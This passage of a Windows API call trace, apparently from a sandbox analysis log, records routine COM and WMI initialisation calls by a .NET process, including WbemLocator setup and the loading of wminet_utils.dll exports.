Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x439e2bc | out: ppvObject=0x439e2bc*=0x0) returned 0x80004002 [0142.171] WbemDefPath:IUnknown:QueryInterface (in: This=0x4dab30, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e2c8 | out: ppvObject=0x439e2c8*=0x4f5b388) returned 0x0 [0142.171] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x4f5b388, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x439e2d0 | out: pCid=0x439e2d0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0142.171] WbemDefPath:IUnknown:Release (This=0x4f5b388) returned 0x3 [0142.171] CoGetContextToken (in: pToken=0x439e328 | out: pToken=0x439e328) returned 0x0 [0142.171] CoGetContextToken (in: pToken=0x439e73c | out: pToken=0x439e73c) returned 0x0 [0142.171] WbemDefPath:IUnknown:QueryInterface (in: This=0x4dab30, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e7bc | out: ppvObject=0x439e7bc*=0x0) returned 0x80004002 [0142.171] WbemDefPath:IUnknown:Release (This=0x4dab30) returned 0x2 [0142.171] WbemDefPath:IUnknown:Release (This=0x4dab30) returned 0x1 [0142.171] SetEvent (hEvent=0x574) returned 1 [0142.193] CoGetClassObject (in: rclsid=0x4f1c3dc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x439ebb8 | out: ppv=0x439ebb8*=0x4f5b458) returned 0x0 [0142.193] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f5b458, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x439edd0 | out: ppvObject=0x439edd0*=0x0) returned 0x80004002 [0142.193] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f5b458, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439eddc | out: ppvObject=0x439eddc*=0x4daba0) returned 0x0 [0142.193] WbemDefPath:IUnknown:Release (This=0x4f5b458) returned 0x0 [0142.193] WbemDefPath:IUnknown:QueryInterface (in: This=0x4daba0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e9fc | out: ppvObject=0x439e9fc*=0x4daba0) returned 0x0 [0142.194] WbemDefPath:IUnknown:QueryInterface (in: This=0x4daba0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x439e9b0 | out: ppvObject=0x439e9b0*=0x0) returned 0x80004002 [0142.194] WbemDefPath:IUnknown:AddRef (This=0x4daba0) returned 0x3 [0142.194] WbemDefPath:IUnknown:QueryInterface (in: This=0x4daba0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x439e30c | out: ppvObject=0x439e30c*=0x0) returned 0x80004002 [0142.194] WbemDefPath:IUnknown:QueryInterface (in: This=0x4daba0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x439e2bc | out: ppvObject=0x439e2bc*=0x0) returned 0x80004002 [0142.194] WbemDefPath:IUnknown:QueryInterface (in: This=0x4daba0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e2c8 | out: ppvObject=0x439e2c8*=0x4f5b468) returned 0x0 [0142.194] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x4f5b468, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x439e2d0 | out: pCid=0x439e2d0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0142.194] WbemDefPath:IUnknown:Release (This=0x4f5b468) returned 0x3 [0142.194] CoGetContextToken (in: pToken=0x439e328 | out: pToken=0x439e328) returned 0x0 [0142.194] CoGetContextToken (in: pToken=0x439e73c | out: pToken=0x439e73c) returned 0x0 [0142.194] WbemDefPath:IUnknown:QueryInterface (in: This=0x4daba0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e7bc | out: ppvObject=0x439e7bc*=0x0) returned 0x80004002 [0142.194] WbemDefPath:IUnknown:Release (This=0x4daba0) returned 0x2 [0142.194] WbemDefPath:IUnknown:Release (This=0x4daba0) returned 0x1 [0142.194] SetEvent (hEvent=0x578) returned 1 [0142.197] CoGetClassObject (in: rclsid=0x4f1c3dc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x439ebb8 | out: ppv=0x439ebb8*=0x4f5b458) returned 0x0 [0142.197] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f5b458, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x439edd0 | out: ppvObject=0x439edd0*=0x0) returned 0x80004002 [0142.197] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f5b458, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439eddc | out: ppvObject=0x439eddc*=0x4dac10) returned 0x0 [0142.197] WbemDefPath:IUnknown:Release (This=0x4f5b458) returned 0x0 [0142.197] WbemDefPath:IUnknown:QueryInterface (in: This=0x4dac10, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e9fc | out: ppvObject=0x439e9fc*=0x4dac10) returned 0x0 [0142.197] WbemDefPath:IUnknown:QueryInterface (in: This=0x4dac10, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x439e9b0 | out: ppvObject=0x439e9b0*=0x0) returned 0x80004002 [0142.198] WbemDefPath:IUnknown:AddRef (This=0x4dac10) returned 0x3 [0142.198] WbemDefPath:IUnknown:QueryInterface (in: This=0x4dac10, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x439e30c | out: ppvObject=0x439e30c*=0x0) returned 0x80004002 [0142.198] WbemDefPath:IUnknown:QueryInterface (in: This=0x4dac10, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x439e2bc | out: ppvObject=0x439e2bc*=0x0) returned 0x80004002 [0142.198] WbemDefPath:IUnknown:QueryInterface (in: This=0x4dac10, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e2c8 | out: ppvObject=0x439e2c8*=0x4f5b478) returned 0x0 [0142.198] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x4f5b478, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x439e2d0 | out: pCid=0x439e2d0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0142.198] WbemDefPath:IUnknown:Release (This=0x4f5b478) returned 0x3 [0142.198] CoGetContextToken (in: pToken=0x439e328 | out: pToken=0x439e328) returned 0x0 [0142.198] CoGetContextToken (in: pToken=0x439e73c | out: pToken=0x439e73c) returned 0x0 [0142.198] WbemDefPath:IUnknown:QueryInterface (in: This=0x4dac10, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e7bc | out: ppvObject=0x439e7bc*=0x0) returned 0x80004002 [0142.212] WbemDefPath:IUnknown:Release (This=0x4dac10) returned 0x2 [0142.212] WbemDefPath:IUnknown:Release (This=0x4dac10) returned 0x1 [0142.212] SetEvent (hEvent=0x57c) returned 1 [0142.216] CoGetClassObject (in: rclsid=0x4f1c3dc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x439ebb8 | out: ppv=0x439ebb8*=0x4f5b458) returned 0x0 [0142.216] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f5b458, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x439edd0 | out: ppvObject=0x439edd0*=0x0) returned 0x80004002 [0142.216] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f5b458, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439eddc | out: ppvObject=0x439eddc*=0x4f6a278) returned 0x0 [0142.217] WbemDefPath:IUnknown:Release (This=0x4f5b458) returned 0x0 [0142.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f6a278, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e9fc | out: ppvObject=0x439e9fc*=0x4f6a278) returned 0x0 [0142.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f6a278, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x439e9b0 | out: ppvObject=0x439e9b0*=0x0) returned 0x80004002 [0142.218] WbemDefPath:IUnknown:AddRef (This=0x4f6a278) returned 0x3 [0142.218] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f6a278, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x439e30c | out: ppvObject=0x439e30c*=0x0) returned 0x80004002 [0142.218] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f6a278, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x439e2bc | out: ppvObject=0x439e2bc*=0x0) returned 0x80004002 [0142.218] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f6a278, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e2c8 | out: ppvObject=0x439e2c8*=0x4f5b488) returned 0x0 [0142.219] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x4f5b488, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x439e2d0 | out: pCid=0x439e2d0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0142.219] WbemDefPath:IUnknown:Release (This=0x4f5b488) returned 0x3 [0142.219] CoGetContextToken (in: pToken=0x439e328 | out: pToken=0x439e328) returned 0x0 [0142.219] CoGetContextToken (in: pToken=0x439e73c | out: pToken=0x439e73c) returned 0x0 [0142.219] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f6a278, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e7bc | out: ppvObject=0x439e7bc*=0x0) returned 0x80004002 [0142.219] WbemDefPath:IUnknown:Release (This=0x4f6a278) returned 0x2 [0142.219] WbemDefPath:IUnknown:Release (This=0x4f6a278) returned 0x1 [0142.219] SetEvent (hEvent=0x580) returned 1 Thread: id = 85 os_tid = 0x5ac [0120.336] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0120.336] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x5eceef4 | out: lpiid=0x5eceef4) returned 0x0 [0120.338] CoGetClassObject (in: rclsid=0x4f1c7fc*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5ecec10 | out: ppv=0x5ecec10*=0x4f25a28) returned 0x0 [0120.347] WbemLocator:IUnknown:QueryInterface (in: This=0x4f25a28, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5ecee28 | out: ppvObject=0x5ecee28*=0x0) returned 0x80004002 [0120.347] WbemLocator:IClassFactory:CreateInstance (in: This=0x4f25a28, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ecee34 | out: ppvObject=0x5ecee34*=0x4f35c68) returned 0x0 [0120.347] WbemLocator:IUnknown:Release (This=0x4f25a28) returned 0x0 [0120.347] WbemLocator:IUnknown:QueryInterface (in: This=0x4f35c68, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ecea54 | out: ppvObject=0x5ecea54*=0x4f35c68) returned 0x0 [0120.347] WbemLocator:IUnknown:QueryInterface (in: This=0x4f35c68, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5ecea08 | out: ppvObject=0x5ecea08*=0x0) returned 0x80004002 [0120.348] WbemLocator:IUnknown:AddRef (This=0x4f35c68) returned 0x3 [0120.348] WbemLocator:IUnknown:QueryInterface (in: This=0x4f35c68, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5ece364 | out: ppvObject=0x5ece364*=0x0) returned 0x80004002 [0120.348] WbemLocator:IUnknown:QueryInterface (in: This=0x4f35c68, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5ece314 | out: ppvObject=0x5ece314*=0x0) returned 0x80004002 [0120.348] WbemLocator:IUnknown:QueryInterface (in: This=0x4f35c68, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ece320 | out: ppvObject=0x5ece320*=0x0) returned 0x80004002 [0120.348] CoGetContextToken (in: pToken=0x5ece380 | out: pToken=0x5ece380) returned 0x0 [0120.349] CoGetObjectContext (in: riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x4f25a2c | out: ppv=0x4f25a2c*=0x49fab8) returned 0x0 [0120.369] CoGetContextToken (in: pToken=0x5ece794 | out: pToken=0x5ece794) returned 0x0 [0120.369] WbemLocator:IUnknown:QueryInterface (in: This=0x4f35c68, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ece814 | out: ppvObject=0x5ece814*=0x0) returned 0x80004002 [0120.369] WbemLocator:IUnknown:Release (This=0x4f35c68) returned 0x2 [0120.370] WbemLocator:IUnknown:Release (This=0x4f35c68) returned 0x1 [0120.370] CoGetContextToken (in: pToken=0x5ecee0c | out: pToken=0x5ecee0c) returned 0x0 [0120.370] CoGetContextToken (in: pToken=0x5eced6c | out: pToken=0x5eced6c) returned 0x0 [0120.370] WbemLocator:IUnknown:QueryInterface (in: This=0x4f35c68, riid=0x5ecee3c*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5ecee38 | out: ppvObject=0x5ecee38*=0x4f35c68) returned 0x0 [0120.370] WbemLocator:IUnknown:AddRef (This=0x4f35c68) returned 0x3 [0120.370] WbemLocator:IUnknown:Release (This=0x4f35c68) returned 0x2 [0120.370] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x5ecefcc | out: puCount=0x5ecefcc*=0x2) returned 0x0 [0120.370] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=8, puBuffLength=0x5ecefc8*=0x0, pszText=0x0 | out: puBuffLength=0x5ecefc8*=0xf, pszText=0x0) returned 0x0 [0120.370] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=8, puBuffLength=0x5ecefc8*=0xf, pszText="00000000000000" | out: puBuffLength=0x5ecefc8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0120.378] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x5eceed0 | out: phkResult=0x5eceed0*=0x480) returned 0x0 [0120.379] RegQueryValueExW (in: hKey=0x480, lpValueName="WMIDisableCOMSecurity", lpReserved=0x0, lpType=0x5eceeec, lpData=0x0, lpcbData=0x5eceee8*=0x0 | out: lpType=0x5eceeec*=0x0, lpData=0x0, lpcbData=0x5eceee8*=0x0) returned 0x2 [0120.379] RegCloseKey (hKey=0x480) returned 0x0 [0120.385] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x104, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0120.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll", cchWideChar=63, lpMultiByteStr=0x5ece718, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll", lpUsedDefaultChar=0x0) returned 63 [0120.386] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll") returned 0x6a810000 [0120.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ResetSecurity", cchWideChar=13, lpMultiByteStr=0x5ece74c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ResetSecuritym·q\x8d\x1bá\x9cDþ+q(êì\x05\x01", lpUsedDefaultChar=0x0) returned 13 [0120.739] GetProcAddress (hModule=0x6a810000, lpProcName="ResetSecurity") returned 0x6a817dd0 [0120.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SetSecurity", cchWideChar=11, lpMultiByteStr=0x5ece74c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetSecurity", lpUsedDefaultChar=0x0) returned 11 [0120.747] GetProcAddress (hModule=0x6a810000, lpProcName="SetSecurity") returned 0x6a817e20 [0120.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServices", cchWideChar=18, lpMultiByteStr=0x5ece748, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServices·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 18 [0120.757] GetProcAddress (hModule=0x6a810000, lpProcName="BlessIWbemServices") returned 0x6a816e70 [0120.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServicesObject", cchWideChar=24, lpMultiByteStr=0x5ece740, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicesObject»m·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 24 [0120.876] GetProcAddress (hModule=0x6a810000, lpProcName="BlessIWbemServicesObject") returned 0x6a816ed0 [0120.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyHandle", cchWideChar=17, lpMultiByteStr=0x5ece748, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyHandlem·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 17 [0120.901] GetProcAddress (hModule=0x6a810000, lpProcName="GetPropertyHandle") returned 0x6a817820 [0120.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WritePropertyValue", cchWideChar=18, lpMultiByteStr=0x5ece748, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WritePropertyValue·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 18 [0120.916] GetProcAddress (hModule=0x6a810000, lpProcName="WritePropertyValue") returned 0x6a817fa0 [0121.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x5ece754, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clonem·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 5 [0121.025] GetProcAddress (hModule=0x6a810000, lpProcName="Clone") returned 0x6a816f30 [0121.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VerifyClientKey", cchWideChar=15, lpMultiByteStr=0x5ece748, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VerifyClientKey", lpUsedDefaultChar=0x0) returned 15 [0121.041] GetProcAddress (hModule=0x6a810000, lpProcName="VerifyClientKey") returned 0x6a817f20 [0121.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetQualifierSet", cchWideChar=15, lpMultiByteStr=0x5ece748, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetQualifierSet", lpUsedDefaultChar=0x0) returned 15 [0121.046] GetProcAddress (hModule=0x6a810000, lpProcName="GetQualifierSet") returned 0x6a8178e0 [0121.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Get", cchWideChar=3, lpMultiByteStr=0x5ece754, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Get", lpUsedDefaultChar=0x0) returned 3 [0121.048] GetProcAddress (hModule=0x6a810000, lpProcName="Get") returned 0x6a8175c0 [0121.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Put", cchWideChar=3, lpMultiByteStr=0x5ece754, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Put", 